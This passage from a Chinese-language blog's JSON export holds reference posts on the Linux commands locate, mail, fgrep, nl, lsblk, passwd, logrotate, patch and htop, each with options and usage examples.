16:12:51","dateFormat":"2022-02-03"},{"content":"比 find 好用的文件查找工具。 补充说明 locate 让使用者可以很快速的搜寻档案系统内是否有指定的档案。其方法是先建立一个包括系统内所有档案名称及路径的数据库,之后当寻找时就只需查询这个数据库,而不必实际深入档案系统之中了。在一般的 distribution 之中,数据库的建立都被放在 crontab 中自动执行。 locate 命令可以在搜寻数据库时快速找到档案,数据库由 updatedb 程序来更新,updatedb 是由 cron daemon 周期性建立的,locate 命令在搜寻数据库时比由整个由硬盘资料来搜寻资料来得快,但较差劲的是 locate 所找到的档案若是最近才建立或 刚更名的,可能会找不到,在内定值中,updatedb 每天会跑一次,可以由修改 crontab 来更新设定值。(etc/crontab) locate 指定用在搜寻符合条件的档案,它会去储存档案与目录名称的数据库内,寻找合乎范本样式条件的档案或目录录,可以使用特殊字元(如”” 或”?”等)来指定范本样式,如指定范本为 kcpaner, locate 会找出所有起始字串为 kcpa 且结尾为 ner 的档案或目录,如名称为 kcpartner 若目录录名称为 kcpa_ner 则会列出该目录下包括 子目录在内的所有档案。 locate 指令和 find 找寻档案的功能类似,但 locate 是透过 update 程序将硬盘中的所有档案和目录资料先建立一个索引数据库,在 执行 loacte 时直接找该索引,查询速度会较快,索引数据库一般是由操作系统管理,但也可以直接下达 update 强迫系统立即修改索引数据库。 语法 locate [选择参数 ] [样式 ] 选项 -b, --basename # 仅匹配路径名的基本名称 -c, --count # 只输出找到的数量 -d, --database DBPATH # 使用 DBPATH 指定的数据库,而不是默认数据库 /var/lib/mlocate/mlocate.db -e, --existing # 仅打印当前现有文件的条目 -1 # 如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到 的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的 权限资料。 -0, --null # 在输出上带有 NUL 的单独条目 -S, --statistics # 不搜索条目,打印有关每个数据库的统计信息 -q # 安静模式,不会显示任何错误讯息。 -P, --nofollow, -H # 检查文件存在时不要遵循尾随的符号链接 -l, --limit, -n LIMIT # 将输出(或计数)限制为 LIMIT 个条目 -n # 至多显示 n 个输出。 -m, --mmap # 被忽略,为了向后兼容 -r, --regexp REGEXP # 使用基本正则表达式 --regex # 使用扩展正则表达式 -q, --quiet # 安静模式,不会显示任何错误讯息 -s, --stdio # 被忽略,为了向后兼容 -o # 指定资料库存的名称。 -h, --help # 显示帮助 -i, --ignore-case # 忽略大小写 -V, --version # 显示版本信息 实例 实例 1:查找和 pwd 相关的所有文件 root ~ # locate pwd /bin/pwd /etc/.pwd.lock /sbin/unix_chkpwd /usr/bin/pwdx /usr/include/pwd.h /usr/lib/python2.7/dist-packages/twisted/python/fakepwd.py /usr/lib/python2.7/dist-packages/twisted/python/fakepwd.pyc /usr/lib/python2.7/dist-packages/twisted/python/test/test_fakepwd.py /usr/lib/python2.7/dist-packages/twisted/python/test/test_fakepwd.pyc /usr/lib/syslinux/pwd.c32 /usr/share/help/C/empathy/irc-join-pwd.page /usr/share/help/ca/empathy/irc-join-pwd.page /usr/share/help/cs/empathy/irc-join-pwd.page /usr/share/help/de/empathy/irc-join-pwd.page /usr/share/help/el/empathy/irc-join-pwd.page 实例 2: 搜索 etc 目录下所有以 sh 开头的文件 root ~ # locate /etc/sh /etc/shadow /etc/shadow- /etc/shells 实例 3:搜索 etc 目录下,所有以 m 开头的文件 root ~ # locate /etc/m /etc/magic /etc/magic.mime /etc/mailcap /etc/mailcap.order /etc/manpath.config /etc/mate-settings-daemon ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"locate","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/locate/","stats":{"text":"4 min read","time":238000,"words":992,"minutes":4},"date":"2022-02-03 16:12:38","dateFormat":"2022-02-03"},{"content":"命令行下发送和接收电子邮件。 补充说明 mail 命令是命令行的电子邮件发送和接收工具。操作的界面不像 elm 或 pine 那么容易使用,但功能非常完整。 语法 mail (选项) (参数) 选项 -b<地址>:指定密件副本的收信人地址; -c<地址>:指定副本的收信人地址; -f<邮件文件>:读取指定邮件文件中的邮件; -i:不显示终端发出的信息; -I:使用互动模式; -n:程序使用时,不使用 mail.rc 文件中的设置; -N:阅读邮件时,不显示邮件的标题; -s<邮件主题>:指定邮件的主题; -u<用户帐号>:读取指定用户的邮件; -v:执行时,显示详细的信息。 参数 邮件地址:收信人的电子邮箱地址。 实例 直接使用 shell 当编辑器 mail -s "Hello from example.com by shell" admin@example.com hello,this is the content of mail. welcome to www.example.com 第一行是输入的命令,-s表示邮件的主题,后面的admin@example.com则是邮件的接收人,输入完这行命令后回车,会进入邮件正文的编写,我们可以输入任何文字,比如上面的两行。当邮件正文输入完成后,需要按 CTRL+D 结束输入,此时会提示你输入 Cc 地址,即邮件抄送地址,没有直接回车就完成了邮件的发送。 使用管道进行邮件发送 echo "hello,this is the content of mail.welcome to www.example.com" | mail -s "Hello from example.com by pipe" admin@example.com 使用管道直接敲入这行命令即可完成邮件的发送,其中 echo 后的是邮件正文。 使用文件进行邮件发送 mail -s "Hello from example.com by file" admin@example.com < mail.txt 使用上面的命令后,我们就可以把 mail.txt 文件的内容作为邮件的内容发送给 admin@example.com 了。 使用上述三种方式都可以给外部邮箱进行邮件发送,但因为前面 2 中都是直接在 shell 中敲入邮件内容,因此无法输入中文,即使我们使用粘贴的方式输入了中文,那么收到的邮件也是乱码的。但第 3 种方式,我们可以在 window 下编辑好邮件内容后,放到 linux 下,再进行发送,这样就可以正常发送中文了。不过目前邮件的中文标题暂时没有找到解决办法。 因为 mail 程序本身就是调用 sendmail 来进行邮件发送的,因此我们可以在 mail 命令中使用 sendmail 的参数进行配置,比如我想使用特定的发件人发送邮件,可以使用如下命令: mail -s "Hello from example.com with sender" admin@example.com -- -f user@example.com<mail.txt 上面的命令中,我们使用了– -f user@example.com 这样的参数,这是 sendmail 的选项,其中-f 表示邮件的发送人邮件地址。 很多情况下,我们也需要使用邮件来发送附件,在 linux 下使用 mail 命令发送附件也很简单,不过首先需要安装 uuencode 软件包,这个程序是对二进制文件进行编码使其适合通过邮件进行发送,在 CentOS 上安装该软件包如下: yum install sharutils 安装完成后我们就可以来进行附件的发送了,使用如下命令: uuencode test.txt test | mail -s "hello,see the attachement" admin@example.com<mail.txt 完成后就可以把 text.txt 文件作为邮件的附件发送出去了。uuencode 有两个参数,第一个是要发送的文件,第二个是显示的文件名称。 这里我主要介绍的是在 CentOS 下使用 mail 发送电子邮件的一些使用方法,需要的要求是你的 linux 必须安装了 sendmail 并开启了,同时保证可以连接外网。另外,文章中提到的命令本人都经过亲自测试,保证完全可用,不过你需要将命令中的电子邮件地址换成自己的电子邮件地址。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"mail","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/mail/","stats":{"text":"5 min read","time":244000,"words":1068,"minutes":5},"date":"2022-02-03 16:12:23","dateFormat":"2022-02-03"},{"content":"为文件搜索文字字符串。 补充说明 fgrep 命令是用来搜索 file 参数指定的输入文件(缺省为标准输入)中的匹配模式的行。fgrep 命令特别搜索 Pattern 参数,它们是固定的字符串。如果在 File 参数中指定一个以上的文件 fgrep 命令将显示包含匹配行的文件。 fgrep 命令于 grep 和 egrep 命令不同,因为它搜索字符串而不是搜索匹配表达式的模式。fgrep 命令使用快速的压缩算法。$, *, &#91;, |, (, )和\\等字符串被 fgrep 命令按字面意思解释。这些字符并不解释为正则表达式,但它们在 grep 和 egrep 命令中解释为 正则表达式。因为这些字符对于 shell 有特定的含义,完整的字符串应该加上单引号‘ ... ’。如果没有指定文件, fgrep 命令假定标准输入。一般,找到的每行都复制到标准输出中去。如果不止一个输入文件,则在找到的每行前打印文件名。 fgrep 命令和带 -F 标志的 grep 命令是一样的但出错和用法消息不同-s 标志功能也不同。 每行限制在 2048 个字节。 段落(-p 标志下)目前限制在 5000 个字符的长度。 不要在特定的文件中运行 grep 命令,因为会产生不可预料的结果。 输入行不能包含空字符。 输入文件应该以换行字符结尾。 虽然可以同时指定很多标志,但某些标志会覆盖其余的标志。例如,如果同时指定 -l 和 -n ,只有文件名写入到标准输出中去。 语法 fgrep (选项) (参数) 选项 -b:在找到的每行之前添加行所在的块编号。使用此标志有助于按照上下文查找磁盘块号码。-b 标志不能用于标准输入或者管道输入。 -c:仅显示匹配行的计数。 -e 模式:指定模式。这个工作模式很简单,但当此模式以 a-(减号) 开头时却是很有用的。 -f StringFile:指定包含字符串的文件。 -h:当多个文件被处理时隐藏文件名。 -i:当进行比较时忽略字母的大小写。 -l:只列出包含匹配行的文件名(一次)。文件名之间用换行符分隔。 n:将文件中每行的相对行号置于行前。 -pSeparator:显示包含匹配行的整个段落。段落之间将按照 Separator 参数指定的段落分隔符加以分隔,这些分隔符是与搜索模式有着相同格式的模式。包含段落分隔符的行将仅用作分隔符;它们不会被包含在输出中。缺省的段落分隔符是空白行。 -q:禁止所有写入到标准输出的操作,不管是否为匹配行。如果选中输入行,以 0 状态退出。 -s:仅显示出错消息。这在检查状态时很有用。 -v:显示除了匹配特定模式的行以外的所有行。 -w:执行单词搜索。 -x:显示匹配模式的行,要求无额外的字符。 -y:当进行比较时忽略字符的大小写。 此命令返回以下出口值: 0 找到匹配项。 1 未找到匹配项。 >1 发现语法错误,或者文件不可访问(即使找到了匹配项)。 实例 搜索几个文件中的一个简单字符串: fgrep strcpy *.c 在当前目录下所有以 .c 字符串结尾的文件中搜索字符串 strcpy。 计数匹配某模式的行数: fgrep -c 『{』pgm.cfgrep -c 『}』pgm.c 显示在 pgm.c 中包含左括号和右括号的行的数目。 如果在您的 C 程序中一行中没有包含多于一个 { (左括号) 或者 } (右括号),并且括号正确匹配,那么这两个数字将是一样的。如果这两个数字不一样,您可以将包含括号的行按照他们在文件中的位置顺序显示出来,使用以下命令: egrep {\\|} pgm.c 显示包含某模式的文件名: fgrep -l strcpy *.c 搜索当前目录下以 .c 结尾的文件,然后显示包含 strcpy 字符串的文件名。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"fgrep","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/fgrep/","stats":{"text":"4 min read","time":233000,"words":1099,"minutes":4},"date":"2022-02-03 16:11:40","dateFormat":"2022-02-03"},{"content":"为每一个文件添加行号。。 概要 nl [OPTION]... [FILE]... 主要用途 将每一个输入的文件添加行号后发送到标准输出。 当没有文件或文件为-时,读取标准输入 处理逻辑页(logical page)。 选项 -b, --body-numbering=STYLE 使用 STYLE 为 body 部分的行附加行号。 -d, --section-delimiter=CC 使用 CC 作为 logical page 的分隔符。 -f, --footer-numbering=STYLE 使用 STYLE 为 footer 部分的行附加行号。 -h, --header-numbering=STYLE 使用 STYLE 为 header 部分的行附加行号。 -i, --line-increment=NUMBER 行号递增间隔为 NUMBER。 -l, --join-blank-lines=NUMBER 连续 NUMBER 行的空行作为一行处理。 -n, --number-format=FORMAT 根据 FORMAT 插入行号。 -p, --no-renumber 不要在每个部分重置行号。 -s, --number-separator=STRING 在行号后添加字符串 STRING。 -v, --starting-line-number=NUMBER 每部分的起始行号。 -w, --number-width=NUMBER 行号宽度为 NUMBER。 --help 显示帮助信息并退出。 --version 显示版本信息并退出。 默认选项为:-bt -d'\\:' -fn -hn -i1 -l1 -nrn -sTAB -v1 -w6 CC 是由两个字符组成的,默认为\\: ,第二个字符如果缺失则默认为: STYLE 可以为下列可用值之一: a 所有行标记行号。 t 仅为非空行标记行号。 n 不标记行号。 pBRE 符合基础正则表达式(BRE)的行会标记行号。 FORMAT 可以为下列可用值之一: ln 左对齐,不会在开始部分补充 0 以满足宽度。 rn 右对齐,不会在开始部分补充 0 以满足宽度。 rz 右对齐,会在开始部分补充 0 以满足宽度。 logical page 三部分组成(header, body, footer) 起始标记(header \\:\\:\\:, body \\:\\:, footer \\:) 参数 FILE(可选):要处理的文件,可以为一或多个。 返回值 返回 0 表示成功,返回非 0 值表示失败。 例子 nl_logicalpage.txt:该文件用于说明 nl 命令处理逻辑页,内容如下: \\:\\:\\: header_1 \\:\\: body_1 \\: footer_1 \\:\\:\\: header_2 \\:\\: body_2 \\: footer_2 [user2@pc ~]$ nl nl_logicalpage.txt header_1 1 body_1 footer_1 header_2 1 body_2 footer_2 [user2@pc ~]$ nl -v0 -fa -ha nl_logicalpage.txt 0 header_1 1 body_1 2 footer_1 0 header_2 1 body_2 2 footer_2 [user2@pc ~]$ nl -p -fa -ha nl_logicalpage.txt 1 header_1 2 body_1 3 footer_1 4 header_2 5 body_2 6 footer_2 nl_normal.txt:该文件用于说明 nl 命令处理普通文件,内容如下: ZhuangZhu-74 2019-11-21 127.0.0.1 [user2@pc ~]$ nl nl_normal.txt 1 ZhuangZhu-74 2 2019-11-21 3 127.0.0.1 [user2@pc ~]$ nl -b p'1$' nl_normal.txt ZhuangZhu-74 1 2019-11-21 2 127.0.0.1 [user2@pc ~]$ nl -b p'^[A-Z]' nl_normal.txt 1 ZhuangZhu-74 2019-11-21 127.0.0.1 注意 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 nl,info coreutils 'nl invocation'。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"nl","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/nl/","stats":{"text":"3 min read","time":173000,"words":657,"minutes":3},"date":"2022-02-03 16:11:25","dateFormat":"2022-02-03"},{"content":"列出块设备信息。 补充说明 lsblk 命令用于列出所有可用块设备的信息,而且还能显示他们之间的依赖关系,但是它不会列出 RAM 盘的信息。块设备有硬盘,闪存盘,cd-ROM 等等。lsblk 命令包含在 util-linux-ng 包中,现在该包改名为 util-linux。这个包带了几个其它工具,如 dmesg。要安装 lsblk,请在此处下载 util-linux 包。Fedora 用户可以通过命令sudo yum install util-linux-ng来安装该包。 选项 -a, --all # 显示所有设备。 -b, --bytes # 以 bytes 方式显示设备大小。 -d, --nodeps # 不显示 slaves 或 holders。 -D, --discard # print discard capabilities。 -e, --exclude <list> # 排除设备 (default: RAM disks)。 -f, --fs # 显示文件系统信息。 -h, --help # 显示帮助信息。 -i, --ascii # use ascii characters only。 -m, --perms # 显示权限信息。 -l, --list # 使用列表格式显示。 -n, --noheadings # 不显示标题。 -o, --output <list> # 输出列。 -P, --pairs # 使用 key="value"格式显示。 -r, --raw # 使用原始格式显示。 -t, --topology # 显示拓扑结构信息。 实例 lsblk 命令默认情况下将以树状列出所有块设备。打开终端,并输入以下命令: lsblk NAME MAJ:MIN rm SIZE RO type mountpoint sda 8:0 0 232.9G 0 disk ├─sda1 8:1 0 46.6G 0 part / ├─sda2 8:2 0 1K 0 part ├─sda5 8:5 0 190M 0 part /boot ├─sda6 8:6 0 3.7G 0 part [SWAP] ├─sda7 8:7 0 93.1G 0 part /data └─sda8 8:8 0 89.2G 0 part /personal sr0 11:0 1 1024M 0 rom 7 个栏目名称如下: NAME :这是块设备名。 MAJ:MIN :本栏显示主要和次要设备号。 RM :本栏显示设备是否可移动设备。注意,在本例中设备 sdb 和 sr0 的 RM 值等于 1,这说明他们是可移动设备。 SIZE :本栏列出设备的容量大小信息。例如 298.1G 表明该设备大小为 298.1GB,而 1K 表明该设备大小为 1KB。 RO :该项表明设备是否为只读。在本案例中,所有设备的 RO 值为 0,表明他们不是只读的。 TYPE :本栏显示块设备是否是磁盘或磁盘上的一个分区。在本例中,sda 和 sdb 是磁盘,而 sr0 是只读存储(rom)。 MOUNTPOINT :本栏指出设备挂载的挂载点。 默认选项不会列出所有空设备。要查看这些空设备,请使用以下命令: lsblk -a lsblk 命令也可以用于列出一个特定设备的拥有关系,同时也可以列出组和模式。可以通过以下命令来获取这些信息: lsblk -m 该命令也可以只获取指定设备的信息。这可以通过在提供给 lsblk 命令的选项后指定设备名来实现。例如,你可能对了解以字节显示你的磁盘驱动器大小比较感兴趣,那么你可以通过运行以下命令来实现: lsblk -b /dev/sda 等价于 lsblk --bytes /dev/sda 你也可以组合几个选项来获取指定的输出。例如,你也许想要以列表格式列出设备,而不是默认的树状格式。你可能也对移除不同栏目名称的标题感兴趣。可以将两个不同的选项组合,以获得期望的输出,命令如下: lsblk -nl 要获取 SCSI 设备的列表,你只能使用-S 选项。该选项是大写字母 S,不能和-s 选项混淆,该选项是用来以颠倒的顺序打印依赖的。 lsblk -S lsblk 列出 SCSI 设备,而-s 是逆序选项(将设备和分区的组织关系逆转过来显示),其将给出如下输出。输入命令: lsblk -s ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"lsblk","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/lsblk/","stats":{"text":"4 min read","time":221000,"words":933,"minutes":4},"date":"2022-02-03 16:10:36","dateFormat":"2022-02-03"},{"content":"用于让用户可以更改自己的密码。 补充说明 passwd 命令用于设置用户的认证信息,包括用户密码、密码过期时间等。系统管理者则能用它管理系统用户的密码。只有管理者可以指定用户名称,一般用户只能变更自己的密码。 语法 passwd (选项) (参数) 选项 -d:删除密码,仅有系统管理者才能使用; -f:强制执行; -k:设置只有在密码过期失效后,方能更新; -l:锁住密码; -s:列出密码的相关信息,仅有系统管理者才能使用; -u:解开已上锁的帐号。 参数 用户名:需要设置密码的用户名。 知识扩展 与用户、组账户信息相关的文件 存放用户信息: /etc/passwd /etc/shadow 存放组信息: /etc/group /etc/gshadow 用户信息文件分析(每项用:隔开) 例如:jack:X:503:504:::/home/jack/:/bin/bash jack # 用户名 X # 口令、密码 503 # 用户 id(0 代表 root、普通新建用户从 500 开始) 504 # 所在组 : # 描述 /home/jack/ # 用户主目录 /bin/bash # 用户缺省 Shell 组信息文件分析 例如:jack:$!$:???:13801:0:99999:7:*:*: jack # 组名 $!$ # 被加密的口令 13801 # 创建日期与今天相隔的天数 0 # 口令最短位数 99999 # 用户口令 7 # 到 7 天时提醒 * # 禁用天数 * # 过期天数 实例 如果是普通用户执行 passwd 只能修改自己的密码。如果新建用户后,要为新用户创建密码,则用 passwd 用户名,注意要以 root 用户的权限来创建。 [root@localhost ~]# passwd linuxde # 更改或创建 linuxde 用户的密码; Changing password for user linuxde. New UNIX password: # 请输入新密码; Retype new UNIX password: # 再输入一次; passwd: all authentication tokens updated successfully. # 成功; 普通用户如果想更改自己的密码,直接运行 passwd 即可,比如当前操作的用户是 linuxde。 [linuxde@localhost ~]$ passwd Changing password for user linuxde. # 更改 linuxde 用户的密码; (current) UNIX password: # 请输入当前密码; New UNIX password: # 请输入新密码; Retype new UNIX password: # 确认新密码; passwd: all authentication tokens updated successfully. # 更改成功; 比如我们让某个用户不能修改密码,可以用-l选项来锁定: [root@localhost ~]# passwd -l linuxde # 锁定用户 linuxde 不能更改密码; Locking password for user linuxde. passwd: Success # 锁定成功; [linuxde@localhost ~]# su linuxde # 通过 su 切换到 linuxde 用户; [linuxde@localhost ~]$ passwd # linuxde 来更改密码; Changing password for user linuxde. Changing password for linuxde (current) UNIX password: # 输入 linuxde 的当前密码; passwd: Authentication token manipulation error # 失败,不能更改密码; 再来一例: [root@localhost ~]# passwd -d linuxde # 清除 linuxde 用户密码; Removing password for user linuxde. passwd: Success # 清除成功; [root@localhost ~]# passwd -S linuxde # 查询 linuxde 用户密码状态; Empty password. # 空密码,也就是没有密码; 注意:当我们清除一个用户的密码时,登录时就无需密码,这一点要加以注意。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"passwd","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/passwd/","stats":{"text":"3 min read","time":175000,"words":733,"minutes":3},"date":"2022-02-03 16:10:23","dateFormat":"2022-02-03"},{"content":"系统日志进行轮转、压缩和删除。 补充说明 logrotate 命令用于对系统日志进行轮转、压缩和删除,也可以将日志发送到指定邮箱。使用 logrotate 指令,可让你轻松管理系统所产生的记录文件。每个记录文件都可被设置成每日,每周或每月处理,也能在文件太大时立即处理。您必须自行编辑,指定配置文件,预设的配置文件存放在/etc/logrotate.conf文件中。 语法 logrotate (选项) (参数) 选项 -?或--help:在线帮助; -d 或--debug:详细显示指令执行过程,便于排错或了解程序执行的情况; -f 或--force :强行启动记录文件维护操作,纵使 logrotate 指令认为没有需要亦然; -s<状态文件>或--state=<状态文件>:使用指定的状态文件; -v 或--version:显示指令执行过程; -usage:显示指令基本用法。 参数 配置文件:指定 lograote 指令的配置文件。 实例 crontab 会定时调用 logrotate 命令 在 /etc/cron.daily/logrotate 文件中配置使用 logrotate 的配置文件/etc/logrotate.conf 定义引用/etc/logrotate.d目录下的一些自定义的 log 配置 在/etc/logrotate.d目录下创建任意后缀名的文件,即可使用对日志进行轮转 /tmp/log/log.txt { copytruncate daily rotate 30 missingok ifempty compress noolddir } 这个配置文件代表的意思是将/tmp/log/log.txt文件 进行轮转压缩 compress 通过 gzip 压缩转储以后的日志 nocompress 不做 gzip 压缩处理 copytruncate 用于还在打开中的日志文件,把当前日志备份并截断;是先拷贝再清空的方式,拷贝和清空之间有一个时间差,可能会丢失部分日志数据。 nocopytruncate 备份日志文件不过不截断 create mode owner group 轮转时指定创建新文件的属性,如 create 0777 nobody nobody nocreate 不建立新的日志文件 delaycompress 和 compress 一起使用时,转储的日志文件到下一次转储时才压缩 nodelaycompress 覆盖 delaycompress 选项,转储同时压缩 missingok 如果日志丢失,不报错继续滚动下一个日志 errors address 专储时的错误信息发送到指定的 Email 地址 ifempty 即使日志文件为空文件也做轮转,这个是 logrotate 的缺省选项。 notifempty 当日志文件为空时,不进行轮转 mail address 把转储的日志文件发送到指定的 E-mail 地址 nomail 转储时不发送日志文件 olddir directory 转储后的日志文件放入指定的目录,必须和当前日志文件在同一个文件系统 noolddir 转储后的日志文件和当前日志文件放在同一个目录下 sharedscripts 运行 postrotate 脚本,作用是在所有日志都轮转后统一执行一次脚本。如果没有配置这个,那么每个日志轮转后都会执行一次脚本 prerotate 在 logrotate 转储之前需要执行的指令,例如修改文件的属性等动作;必须独立成行 postrotate 在 logrotate 转储之后需要执行的指令,例如重新启动 (kill -HUP) 某个服务!必须独立成行 daily 指定转储周期为每天 weekly 指定转储周期为每周 monthly 指定转储周期为每月 rotate count 指定日志文件删除之前转储的次数,0 指没有备份,5 指保留 5 个备份 dateext 使用当期日期作为命名格式 dateformat .%s 配合 dateext 使用,紧跟在下一行出现,定义文件切割后的文件名,必须配合 dateext 使用,只支持 %Y %m %d %s 这四个参数 size(或 minsize) log-size 当日志文件到达指定的大小时才转储 注意事项 在/etc/logrotate.d目录下创建任意后缀名的文件 /tmp/log/log* { copytruncate daily rotate 30 missingok ifempty compress noolddir } 这种情况下,会将轮转过的 log 再重新轮转,因为轮转过后的文件名也是已 log 开头的。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"logrotate","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/logrotate/","stats":{"text":"4 min read","time":228000,"words":1025,"minutes":4},"date":"2022-02-03 16:10:03","dateFormat":"2022-02-03"},{"content":"为开放源代码软件安装补丁程序。 补充说明 patch 命令被用于为开放源代码软件安装补丁程序。让用户利用设置修补文件的方式,修改,更新原始文件。如果一次仅修改一个文件,可直接在命令列中下达指令依序执行。如果配合修补文件的方式则能一次修补大批文件,这也是 Linux 系统核心的升级方法之一。 语法 patch (选项) (参数) 选项 -b 或--backup:备份每一个原始文件; -B<备份字首字符串>或--prefix=<备份字首字符串>:设置文件备份时,附加在文件名称前面的字首字符串,该字符串可以是路径名称; -c 或--context:把修补数据解译成关联性的差异; -d<工作目录>或--directory=<工作目录>:设置工作目录; -D<标示符号>或--ifdef=<标示符号>:用指定的符号把改变的地方标示出来; -e 或--ed:把修补数据解译成 ed 指令可用的叙述文件; -E 或--remove-empty-files:若修补过后输出的文件其内容是一片空白,则移除该文件; -f 或--force:此参数的效果和指定"-t"参数类似,但会假设修补数据的版本为新版本; -F<监别列数>或--fuzz<监别列数>:设置监别列数的最大值; -g<控制数值>或--get=<控制数值>:设置以 RSC 或 SCCS 控制修补作业; -i<修补文件>或--input=<修补文件>:读取指定的修补问家你; -l 或--ignore-whitespace:忽略修补数据与输入数据的跳格,空格字符; -n 或--normal:把修补数据解译成一般性的差异; -N 或--forward:忽略修补的数据较原始文件的版本更旧,或该版本的修补数据已使 用过; -o<输出文件>或--output=<输出文件>:设置输出文件的名称,修补过的文件会以该名称存放; -p<剥离层级>或--strip=<剥离层级>:设置欲剥离几层路径名称; -f<拒绝文件>或--reject-file=<拒绝文件>:设置保存拒绝修补相关信息的文件名称,预设的文件名称为.rej; -R 或--reverse:假设修补数据是由新旧文件交换位置而产生; -s 或--quiet 或--silent:不显示指令执行过程,除非发生错误; -t 或--batch:自动略过错误,不询问任何问题; -T 或--set-time:此参数的效果和指定"-Z"参数类似,但以本地时间为主; -u 或--unified:把修补数据解译成一致化的差异; -v 或--version:显示版本信息; -V<备份方式>或--version-control=<备份方式>:用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,这个字符串不仅可用"-z"参数变更,当使用"-V"参数指定不同备份方式时,也会产生不同字尾的备份字符串; -Y<备份字首字符串>或--basename-prefix=--<备份字首字符串>:设置文件备份时,附加在文件基本名称开头的字首字符串; -z<备份字尾字符串>或--suffix=<备份字尾字符串>:此参数的效果和指定"-B"参数类似,差别在于修补作业使用的路径与文件名若为 src/linux/fs/super.c,加上"backup/"字符串后,文件 super.c 会备份于/src/linux/fs/backup 目录里; -Z 或--set-utc:把修补过的文件更改,存取时间设为 UTC; --backup-if-mismatch:在修补数据不完全吻合,且没有刻意指定要备份文件时,才备份文件; --binary:以二进制模式读写数据,而不通过标准输出设备; --help:在线帮助; --nobackup-if-mismatch:在修补数据不完全吻合,且没有刻意指定要备份文件时,不要备份文件; --verbose:详细显示指令的执行过程。 参数 原文件:指定需要打补丁的原始文件; 补丁文件:指定补丁文件。 ","tags":[{"name":"Linux命令","slug":"linux-command","used":true,"link":"https://dev-coco.github.io/tag/linux-command/"}],"title":"patch","feature":"https://dev-coco.github.io/post-images/Linux-Command.png","link":"https://dev-coco.github.io/post/patch/","stats":{"text":"5 min read","time":245000,"words":1090,"minutes":5},"date":"2022-02-03 16:09:46","dateFormat":"2022-02-03"},{"content":"[非内部命令 ] 一个互动的进程查看器,可以动态观察系统进程状况。 补充说明 htop 命令是 Linux 系统中的一个互动的进程查看器,一个文本模式的应用程序 (在控制台或者 X 终端中),需要 ncurses。 与 Linux 传统的 top 相比,htop 更加人性化。它可让用户交互式操作,支持颜色主题,可横向或纵向滚动浏览进程列表,并支持鼠标操作。 与 top 相比,htop 有以下优点: 可以横向或纵向滚动浏览进程列表,以便看到所有的进程和完整的命令行。 在启动上,比 top 更快。 杀进程时不需要输入进程号。 htop 支持鼠标操作。 两者相比起来,top 比较繁琐。 top 缺点: 只支持键盘操作。 显示也单调。 htop 官网:http://htop.sourceforge.net/ 语法 htop 参数 -C --no-color 使用单色配色方案 -d --delay=DELAY 设置更新之间的延迟,在十秒 -s --sort-key=COLUMN 纵列排序 (try --sort-key=help for a list) -u --user=USERNAME 只显示一个指定用户的进程 -p --pid=PID,[,PID,PID...] 只显示给用户 -h --help 打印此命令帮助 -v --version 打印版本信息 选项 h,? F1:查看 htop 使用说明 S F2:设置 / F3:搜索进程 \\ F4:过滤器,按关键字搜索 t F5:显示树形结构 <,> F6:选择排序方式 [ F7:减少 nice 值,这样就可以提高对应进程的优先级 ] F8:增加 nice 值,这样可以降低对应进程的优先级 k F9:杀掉选中的进程 q F10:退出 htop / : 搜索字符 h : 显示帮助 l : 显示进程打开的文件: 如果安装了 lsof,按此键可以显示进程所打开的文件 u : 显示所有用户,并可以选择某一特定用户的进程 U : 取消标记所有的进程 s : 将调用 strace 追踪进程的系统调用 t : 显示树形结构 H:显示/隐藏用户线程 I:倒转排序顺序 K:显示/隐藏内核线程 M:按内存占用排序 P:按 CPU 排序 T:按运行时间排序 上下键或 PgUP, PgDn : 移动选中进程 左右键或 Home, End : 移动列表 Space(空格) : 标记/取消标记一个进程。命令可以作用于多个进程,例如 "kill",将应用于所有已标记的进程 Htop 设定 鼠标点击 Setup 或者按下 F2 之后进入 htop 设定的页面 1. Meters 设定顶端的 显示信息,分为左右两侧,Left column 表示左侧的显示的信息,Right column 表示右侧显示的信息,如果要新加选项,可以选择 Available meters 添加,F5 新增到上方左侧,F6 新增到上方右侧。Left column 和 Right column 下面的选项,可以选定信息的显示方式,有 LED、Bar(进度条)、Text(文本模式),可以根据个人喜好进行设置 2. Display options 选择要显示的内容,按空格 x 表示显示,选择完后,按 F10 保存 3. Colors 设定界面以什么颜色来显示,个人认为用处不大,各人喜好不同 4. Colums 作用是增加或取消要显示的各项内容,选择后 F7(向上移动)、F8(向下移动)、F9(取消显示、F10(保存更改)) 此处增加了 PPID、PGRP,根据各人需求,显示那些信息。 F3 搜索进程 在界面下按 F3 或直接输入”/”就可以直接进入搜索模式,是按照进程名进行搜索的,搜索到的进程会用设定的颜色标记出来,方便查看。 F4:过滤器 相当于模糊查找,不区分大小写,下方输入要搜索的内容后,则界面只显示搜索到的内容,更加方便查看 F5:以树形方式显示 F6:排序方式 按下 F6 后会跳转至以树形方式显示界面,让您选择以什么方式进行排序,在 Sort by 下选择您要以什么来排序 F7,F8:调整进程 nice 值 F7 表示减小 nice 值 (增大优先级),F8 增大 nice 值 (减小优先级),选择某一进程,按 F7 或 F8 